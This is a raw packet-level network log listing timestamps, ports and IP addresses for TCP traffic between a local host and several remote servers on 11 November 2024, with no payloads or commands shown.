Nov 11, 2024 19:17:33.189610004 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189615011 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189625978 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189646006 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189659119 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189668894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189678907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189681053 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189693928 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189704895 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189708948 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189718008 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189728022 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189729929 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189744949 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189757109 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189758062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189774990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189775944 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189775944 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189784050 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189790964 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189791918 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189796925 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189800024 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189805984 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189819098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189831972 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189831972 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189832926 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189847946 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189860106 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189861059 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189861059 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189872026 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189884901 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189896107 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189910889 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189915895 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189923048 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189937115 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189940929 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.189985037 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.189999104 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190011024 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190022945 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190036058 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190047026 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190047979 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190047979 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190047979 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190061092 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190064907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190064907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190072060 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190074921 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190083981 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190093994 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190095901 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190099955 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190134048 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190146923 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190156937 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190161943 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190161943 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190169096 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190180063 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190191031 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190205097 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190213919 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190216064 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190226078 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190232038 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190253973 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190253973 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190259933 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190274000 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190284014 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190295935 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190306902 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190316916 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190321922 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190321922 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190330029 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190341949 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190352917 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190356970 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190357924 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190366030 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190392017 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190398932 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190412998 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190423012 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190423012 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190426111 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190438032 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190454960 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190454960 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190464973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190476894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190490007 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190507889 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190509081 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190521955 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190529108 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190529108 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190537930 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190551043 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190562010 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190567017 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190567017 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190573931 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190593004 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190602064 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190613031 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190618038 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190627098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190640926 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190651894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190653086 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190653086 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190665960 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190679073 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190686941 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190686941 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190691948 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190706015 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190716982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190716028 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190731049 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:33.190747976 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190784931 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.190784931 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:33.578998089 CET	49674	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:33.579018116 CET	49675	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:33.671001911 CET	49672	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:34.694247007 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.694287062 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:34.694350958 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.698503017 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.698523045 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:34.904320002 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.904367924 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:34.904437065 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.904691935 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.904702902 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:34.963138103 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.963177919 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:34.963226080 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.963752985 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:34.963762045 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.043996096 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.044034004 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.044100046 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.114075899 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.114098072 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.294089079 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.294282913 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.294306040 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.295960903 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.296017885 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.298569918 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.298641920 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.298743010 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.298748970 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.342852116 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.491688013 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.512619972 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.512875080 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.512887001 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.513972998 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.514040947 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.514467001 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.514533997 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.515964985 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.515970945 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.517239094 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.517282009 CET	443	49704	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.517333031 CET	49704	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.535459042 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:35.535521030 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.535528898 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.538077116 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.538158894 CET	443	49700	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.538335085 CET	49700	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.552884102 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.553141117 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.553152084 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.554217100 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.554286957 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.554656982 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.554707050 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.554722071 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.608684063 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.608697891 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.655565977 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.704534054 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.704771996 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.704785109 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.705925941 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.706011057 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.706430912 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.706499100 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.706615925 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.706624031 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.750790119 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.769140959 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769179106 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769201040 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769228935 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.769234896 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769249916 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769464016 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.769475937 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.769558907 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.769655943 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.774739027 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.774811029 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.774816036 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.830640078 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.830652952 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850302935 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850334883 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850361109 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850378990 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.850388050 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850399017 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.850414038 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.850511074 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.852106094 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.857847929 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.857862949 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.858093023 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.858103037 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.858136892 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.863703966 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.869779110 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.869810104 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.870063066 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.870070934 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.870251894 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.875494003 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.880701065 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.880732059 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.880745888 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.880752087 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.880867004 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.885972977 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.900470018 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.901215076 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.901256084 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.901263952 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931441069 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931476116 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931497097 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931543112 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.931543112 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.931556940 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931678057 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931720018 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931745052 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931761026 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.931767941 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.931915998 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.932384014 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.932440996 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.932447910 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.933224916 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.933284998 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.933290958 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.936161041 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.936995983 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.937005043 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.940229893 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.940264940 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.940296888 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.940304995 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.940403938 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.944204092 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.948282957 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.948318005 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.948398113 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.948410034 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.948537111 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.951850891 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.951869011 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.952379942 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.954622030 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.954696894 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.954866886 CET	443	49706	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.954931974 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.954948902 CET	49706	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.956366062 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.956403017 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.956535101 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.956542969 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.957410097 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.960982084 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.964595079 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.964628935 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.964649916 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.964659929 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.964726925 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.968578100 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.972650051 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.972686052 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.972716093 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.972723007 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.972753048 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.976793051 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.982387066 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.982466936 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.982486010 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.982491970 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.982609987 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.985105991 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.988732100 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:35.988775969 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:35.988781929 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.012689114 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.012727022 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.012752056 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.012756109 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.012763977 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.012878895 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.012964964 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013010025 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.013015985 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013041973 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013072014 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013079882 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.013087034 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013117075 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.013122082 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013933897 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.013957977 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.014008999 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.014014959 CET	443	49705	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:36.014051914 CET	49705	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:36.015019894 CET	443	49705	142.250.185.196	192.168.2.7
